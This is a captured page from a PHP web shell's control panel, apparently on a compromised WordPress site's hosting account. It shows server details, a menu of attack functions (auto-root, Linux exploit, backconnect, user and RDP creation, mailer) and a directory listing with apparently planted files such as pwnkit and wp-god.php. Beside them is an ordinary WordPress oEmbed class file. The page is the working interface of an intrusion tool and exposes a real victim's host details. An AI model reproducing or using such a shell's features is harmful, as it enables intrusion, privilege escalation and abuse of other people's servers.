Linux webd123.cluster006.gra.hosting.ovh.net 5.15.162-ovh-vps-grsec-zfs-classid #1 SMP Mon Jul 15 08:28:44 UTC 2024 x86_64
Apache
: 10.6.40.122 | : 216.73.216.131
Cant Read [ /etc/named.conf ]
5.4.45
zouerate
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
zouerate /
thehappyfactory.eu /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
.1665483752
74
B
-rw----r--
.htaccess
291
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
1index.php
15.98
KB
-r--r--r--
admin-bar.php
22.47
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
ahxdspij.php
760
B
-rw-r--r--
atomlib.php
10.67
KB
-rw-r--r--
author-template.php
11.87
KB
-rw-r--r--
bookmark-template.php
9.45
KB
-rw-r--r--
bookmark.php
13.24
KB
-rw-r--r--
cache.php
17.5
KB
-rw-r--r--
canonical.php
22.49
KB
-rw-r--r--
capabilities.php
35.91
KB
-rw-r--r--
category-template.php
36.86
KB
-rw-r--r--
category.php
10.57
KB
-rw-r--r--
class-IXR.php
32.32
KB
-rw-r--r--
class-feed.php
3.52
KB
-rw-r--r--
class-http.php
57.92
KB
-rw-r--r--
class-json.php
26.06
KB
-rw-r--r--
class-oembed.php
11.78
KB
-rw-r--r--
class-phpass.php
6.83
KB
-rw-r--r--
class-phpmailer.php
79.81
KB
-rw-r--r--
class-pop3.php
20.26
KB
-rw-r--r--
class-query.php
35.11
KB
-rw----r--
class-simplepie.php
89.65
KB
-rw-r--r--
class-smtp.php
26.78
KB
-rw-r--r--
class-snoopy.php
36.89
KB
-rw-r--r--
class-wp-admin-bar.php
15.6
KB
-rw-r--r--
class-wp-ajax-response.php
3.8
KB
-rw-r--r--
class-wp-customize-control.php
19.06
KB
-rw-r--r--
class-wp-customize-manager.php
26.34
KB
-rw-r--r--
class-wp-customize-section.php
2.19
KB
-rw-r--r--
class-wp-customize-setting.php
11.13
KB
-rw-r--r--
class-wp-editor.php
32.34
KB
-rw-r--r--
class-wp-embed.php
8.62
KB
-rw-r--r--
class-wp-error.php
4.64
KB
-rw-r--r--
class-wp-http-ixr-client.php
2.6
KB
-rw-r--r--
class-wp-image-editor-gd.php
10.37
KB
-rw-r--r--
class-wp-image-editor-imagick....
11.78
KB
-rw-r--r--
class-wp-image-editor.php
8.99
KB
-rw-r--r--
class-wp-theme.php
37.32
KB
-rw-r--r--
class-wp-walker.php
12.53
KB
-rw-r--r--
class-wp-xmlrpc-server.php
159.46
KB
-rw-r--r--
class-wp.php
18.69
KB
-rw-r--r--
class.wp-dependencies.php
6.62
KB
-rw-r--r--
class.wp-scripts.php
5.47
KB
-rw-r--r--
class.wp-styles.php
4.41
KB
-rw-r--r--
comment-template.php
53.47
KB
-rw-r--r--
comment.php
68.61
KB
-rw-r--r--
compat.php
2.57
KB
-rw-r--r--
cron.php
13.71
KB
-rw-r--r--
default-constants.php
7.58
KB
-rw-r--r--
default-filters.php
13.87
KB
-rw-r--r--
default-widgets.php
44.45
KB
-rw-r--r--
deprecated.php
94.12
KB
-rw-r--r--
feed-atom-comments.php
4.21
KB
-rw-r--r--
feed-atom.php
2.48
KB
-rw-r--r--
feed-rdf.php
2.07
KB
-rw-r--r--
feed-rss.php
1.02
KB
-rw-r--r--
feed-rss2-comments.php
2.8
KB
-rw-r--r--
feed-rss2.php
2.49
KB
-rw-r--r--
feed.php
14.89
KB
-rw-r--r--
formatting.php
108.81
KB
-rw-r--r--
functions.php
116.7
KB
-rw-r--r--
functions.wp-scripts.php
6.49
KB
-rw-r--r--
functions.wp-styles.php
7.44
KB
-rw-r--r--
general-template.php
76.66
KB
-rw-r--r--
http.php
9.92
KB
-rw-r--r--
indeeex.php
2.73
KB
-rw-r--r--
indeex.php
1.7
KB
-rwxr-xr-x
index.htm
389
B
-r--r--r--
index.html
389
B
-r--r--r--
index.php
2.73
KB
-rw-r--r--
kses.php
41.69
KB
-rw-r--r--
l10n.php
17.72
KB
-rw-r--r--
link-template.php
71.9
KB
-rw-r--r--
load.php
24.37
KB
-rw-r--r--
locale.php
12.72
KB
-rw-r--r--
media-template.php
15.84
KB
-rw-r--r--
media.php
53
KB
-rw-r--r--
meta.php
26.58
KB
-rw-r--r--
ms-blogs.php
24.42
KB
-rw-r--r--
ms-default-constants.php
4.23
KB
-rw-r--r--
ms-default-filters.php
2.63
KB
-rw-r--r--
ms-deprecated.php
6.92
KB
-rw-r--r--
ms-files.php
2.49
KB
-rw-r--r--
ms-functions.php
62.07
KB
-rw-r--r--
ms-load.php
9.33
KB
-rw-r--r--
ms-settings.php
5.69
KB
-rw-r--r--
nav-menu-template.php
18
KB
-rw-r--r--
nav-menu.php
25.04
KB
-rw-r--r--
option.php
32.67
KB
-rw-r--r--
php.ini
105
B
-rw----r--
pluggable-deprecated.php
5.67
KB
-rw-r--r--
pluggable.php
60.99
KB
-rw-r--r--
plugin.php
27.99
KB
-rw-r--r--
post-template.php
42.05
KB
-rw-r--r--
post-thumbnail-template.php
3.22
KB
-rwxr-xr-x
post.php
173.25
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
93.45
KB
-rw-r--r--
radio.php
15.98
KB
-r--r--r--
radio.txt
40
B
-rw----r--
registration-functions.php
176
B
-rw-r--r--
registration.php
176
B
-rw-r--r--
rewrite.php
58.72
KB
-rw-r--r--
rss-functions.php
188
B
-rw-r--r--
rss.php
22.39
KB
-rw-r--r--
script-loader.php
40.14
KB
-rw-r--r--
shortcodes.php
9.76
KB
-rw-r--r--
smtphec.php
58.29
KB
-r--r--r--
taxonomy.php
107.04
KB
-rw-r--r--
template-loader.php
2.01
KB
-rw-r--r--
template.php
10.44
KB
-rw-r--r--
theme.php
51.68
KB
-rw-r--r--
update.php
14.27
KB
-rw-r--r--
user.php
46.57
KB
-rw-r--r--
vars.php
4.84
KB
-rw-r--r--
version.php
645
B
-rw-r--r--
widgets.php
37.94
KB
-rw-r--r--
wlwmanifest.xml
1.03
KB
-rw-r--r--
wp-db.php
46.27
KB
-rw-r--r--
wp-diff.php
12.2
KB
-rw-r--r--
wp-god.php
40.14
KB
-rw-r--r--
wp-options.php
4.11
KB
-rw----r--
wp-secure.php
1.24
KB
-rw-r--r--
wp-supports.php
4.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-oembed.php
<?php /** * API for fetching the HTML to embed remote content based on a provided URL. * Used internally by the {@link WP_Embed} class, but is designed to be generic. * * @link http://codex.wordpress.org/oEmbed oEmbed Codex Article * @link http://oembed.com/ oEmbed Homepage * * @package WordPress * @subpackage oEmbed */ /** * oEmbed class. * * @package WordPress * @subpackage oEmbed * @since 2.9.0 */ class WP_oEmbed { var $providers = array(); /** * Constructor * * @uses apply_filters() Filters a list of pre-defined oEmbed providers. */ function __construct() { // List out some popular sites that support oEmbed. // The WP_Embed class disables discovery for non-unfiltered_html users, so only providers in this array will be used for them. // Add to this list using the wp_oembed_add_provider() function (see its PHPDoc for details). $this->providers = apply_filters( 'oembed_providers', array( '#https?://(www\.)?youtube.com/watch.*#i' => array( 'http://www.youtube.com/oembed', true ), 'http://youtu.be/*' => array( 'http://www.youtube.com/oembed', false ), 'http://blip.tv/*' => array( 'http://blip.tv/oembed/', false ), '#https?://(www\.)?vimeo\.com/.*#i' => array( 'http://vimeo.com/api/oembed.{format}', true ), '#https?://(www\.)?dailymotion\.com/.*#i' => array( 'http://www.dailymotion.com/services/oembed', true ), '#https?://(www\.)?flickr\.com/.*#i' => array( 'http://www.flickr.com/services/oembed/', true ), '#https?://(.+\.)?smugmug\.com/.*#i' => array( 'http://api.smugmug.com/services/oembed/', true ), '#https?://(www\.)?hulu\.com/watch/.*#i' => array( 'http://www.hulu.com/api/oembed.{format}', true ), '#https?://(www\.)?viddler\.com/.*#i' => array( 'http://lab.viddler.com/services/oembed/', true ), 'http://qik.com/*' => array( 'http://qik.com/api/oembed.{format}', false ), 'http://revision3.com/*' => array( 'http://revision3.com/api/oembed/', false ), 'http://i*.photobucket.com/albums/*' => array( 'http://photobucket.com/oembed', false ), 'http://gi*.photobucket.com/groups/*' => array( 'http://photobucket.com/oembed', false ), '#https?://(www\.)?scribd\.com/.*#i' => array( 'http://www.scribd.com/services/oembed', true ), 'http://wordpress.tv/*' => array( 'http://wordpress.tv/oembed/', false ), '#https?://(.+\.)?polldaddy\.com/.*#i' => array( 'http://polldaddy.com/oembed/', true ), '#https?://(www\.)?funnyordie\.com/videos/.*#i' => array( 'http://www.funnyordie.com/oembed', true ), '#https?://(www\.)?twitter.com/.+?/status(es)?/.*#i' => array( 'http://api.twitter.com/1/statuses/oembed.{format}', true ), '#https?://(www\.)?soundcloud\.com/.*#i' => array( 'http://soundcloud.com/oembed', true ), '#https?://(www\.)?slideshare.net/*#' => array( 'http://www.slideshare.net/api/oembed/2', true ), '#http://instagr(\.am|am\.com)/p/.*#i' => array( 'http://api.instagram.com/oembed', true ), ) ); // Fix any embeds that contain new lines in the middle of the HTML which breaks wpautop(). add_filter( 'oembed_dataparse', array($this, '_strip_newlines'), 10, 3 ); } /** * The do-it-all function that takes a URL and attempts to return the HTML. * * @see WP_oEmbed::discover() * @see WP_oEmbed::fetch() * @see WP_oEmbed::data2html() * * @param string $url The URL to the content that should be attempted to be embedded. * @param array $args Optional arguments. Usually passed from a shortcode. * @return bool|string False on failure, otherwise the UNSANITIZED (and potentially unsafe) HTML that should be used to embed. */ function get_html( $url, $args = '' ) { $provider = false; if ( !isset($args['discover']) ) $args['discover'] = true; foreach ( $this->providers as $matchmask => $data ) { list( $providerurl, $regex ) = $data; // Turn the asterisk-type provider URLs into regex if ( !$regex ) { $matchmask = '#' . str_replace( '___wildcard___', '(.+)', preg_quote( str_replace( '*', '___wildcard___', $matchmask ), '#' ) ) . '#i'; $matchmask = preg_replace( '|^#http\\\://|', '#https?\://', $matchmask ); } if ( preg_match( $matchmask, $url ) ) { $provider = str_replace( '{format}', 'json', $providerurl ); // JSON is easier to deal with than XML break; } } if ( !$provider && $args['discover'] ) $provider = $this->discover( $url ); if ( !$provider || false === $data = $this->fetch( $provider, $url, $args ) ) return false; return apply_filters( 'oembed_result', $this->data2html( $data, $url ), $url, $args ); } /** * Attempts to find oEmbed provider discovery <link> tags at the given URL. * * @param string $url The URL that should be inspected for discovery <link> tags. * @return bool|string False on failure, otherwise the oEmbed provider URL. */ function discover( $url ) { $providers = array(); // Fetch URL content if ( $html = wp_remote_retrieve_body( wp_remote_get( $url, array( 'reject_unsafe_urls' => true ) ) ) ) { // <link> types that contain oEmbed provider URLs $linktypes = apply_filters( 'oembed_linktypes', array( 'application/json+oembed' => 'json', 'text/xml+oembed' => 'xml', 'application/xml+oembed' => 'xml', // Incorrect, but used by at least Vimeo ) ); // Strip <body> $html = substr( $html, 0, stripos( $html, '</head>' ) ); // Do a quick check $tagfound = false; foreach ( $linktypes as $linktype => $format ) { if ( stripos($html, $linktype) ) { $tagfound = true; break; } } if ( $tagfound && preg_match_all( '/<link([^<>]+)>/i', $html, $links ) ) { foreach ( $links[1] as $link ) { $atts = shortcode_parse_atts( $link ); if ( !empty($atts['type']) && !empty($linktypes[$atts['type']]) && !empty($atts['href']) ) { $providers[$linktypes[$atts['type']]] = $atts['href']; // Stop here if it's JSON (that's all we need) if ( 'json' == $linktypes[$atts['type']] ) break; } } } } // JSON is preferred to XML if ( !empty($providers['json']) ) return $providers['json']; elseif ( !empty($providers['xml']) ) return $providers['xml']; else return false; } /** * Connects to a oEmbed provider and returns the result. * * @param string $provider The URL to the oEmbed provider. * @param string $url The URL to the content that is desired to be embedded. * @param array $args Optional arguments. Usually passed from a shortcode. * @return bool|object False on failure, otherwise the result in the form of an object. */ function fetch( $provider, $url, $args = '' ) { $args = wp_parse_args( $args, wp_embed_defaults() ); $provider = add_query_arg( 'maxwidth', (int) $args['width'], $provider ); $provider = add_query_arg( 'maxheight', (int) $args['height'], $provider ); $provider = add_query_arg( 'url', urlencode($url), $provider ); $provider = apply_filters( 'oembed_fetch_url', $provider, $url, $args ); foreach( array( 'json', 'xml' ) as $format ) { $result = $this->_fetch_with_format( $provider, $format ); if ( is_wp_error( $result ) && 'not-implemented' == $result->get_error_code() ) continue; return ( $result && ! is_wp_error( $result ) ) ? $result : false; } return false; } /** * Fetches result from an oEmbed provider for a specific format and complete provider URL * * @since 3.0.0 * @access private * @param string $provider_url_with_args URL to the provider with full arguments list (url, maxheight, etc.) * @param string $format Format to use * @return bool|object False on failure, otherwise the result in the form of an object. */ function _fetch_with_format( $provider_url_with_args, $format ) { $provider_url_with_args = add_query_arg( 'format', $format, $provider_url_with_args ); $response = wp_remote_get( $provider_url_with_args, array( 'reject_unsafe_urls' => true ) ); if ( 501 == wp_remote_retrieve_response_code( $response ) ) return new WP_Error( 'not-implemented' ); if ( ! $body = wp_remote_retrieve_body( $response ) ) return false; $parse_method = "_parse_$format"; return $this->$parse_method( $body ); } /** * Parses a json response body. * * @since 3.0.0 * @access private */ function _parse_json( $response_body ) { return ( ( $data = json_decode( trim( $response_body ) ) ) && is_object( $data ) ) ? $data : false; } /** * Parses an XML response body. * * @since 3.0.0 * @access private */ function _parse_xml( $response_body ) { if ( !function_exists('simplexml_load_string') ) { return false; } if ( ! function_exists( 'libxml_disable_entity_loader' ) ) return false; $loader = libxml_disable_entity_loader( true ); $errors = libxml_use_internal_errors( true ); $data = simplexml_load_string( $response_body ); libxml_use_internal_errors( $errors ); $return = false; if ( is_object( $data ) ) { $return = new stdClass; foreach ( $data as $key => $value ) { $return->$key = (string) $value; } } libxml_disable_entity_loader( $loader ); return $return; } /** * Converts a data object from {@link WP_oEmbed::fetch()} and returns the HTML. * * @param object $data A data object result from an oEmbed provider. * @param string $url The URL to the content that is desired to be embedded. * @return bool|string False on error, otherwise the HTML needed to embed. */ function data2html( $data, $url ) { if ( ! is_object( $data ) || empty( $data->type ) ) return false; $return = false; switch ( $data->type ) { case 'photo': if ( empty( $data->url ) || empty( $data->width ) || empty( $data->height ) ) break; if ( ! is_string( $data->url ) || ! is_numeric( $data->width ) || ! is_numeric( $data->height ) ) break; $title = ! empty( $data->title ) && is_string( $data->title ) ? $data->title : ''; $return = '<a href="' . esc_url( $url ) . '"><img src="' . esc_url( $data->url ) . '" alt="' . esc_attr($title) . '" width="' . esc_attr($data->width) . '" height="' . esc_attr($data->height) . '" /></a>'; break; case 'video': case 'rich': if ( ! empty( $data->html ) && is_string( $data->html ) ) $return = $data->html; break; case 'link': if ( ! empty( $data->title ) && is_string( $data->title ) ) $return = '<a href="' . esc_url( $url ) . '">' . esc_html( $data->title ) . '</a>'; break; default: $return = false; } // You can use this filter to add support for custom data types or to filter the result return apply_filters( 'oembed_dataparse', $return, $data, $url ); } /** * Strip any new lines from the HTML. * * @access private * @param string $html Existing HTML. * @param object $data Data object from WP_oEmbed::data2html() * @param string $url The original URL passed to oEmbed. * @return string Possibly modified $html */ function _strip_newlines( $html, $data, $url ) { if ( false !== strpos( $html, "\n" ) ) $html = str_replace( array( "\r\n", "\n" ), '', $html ); return $html; } } /** * Returns the initialized {@link WP_oEmbed} object * * @since 2.9.0 * @access private * * @see WP_oEmbed * @uses WP_oEmbed * * @return WP_oEmbed object. */ function _wp_oembed_get_object() { static $wp_oembed; if ( is_null($wp_oembed) ) $wp_oembed = new WP_oEmbed(); return $wp_oembed; }
Close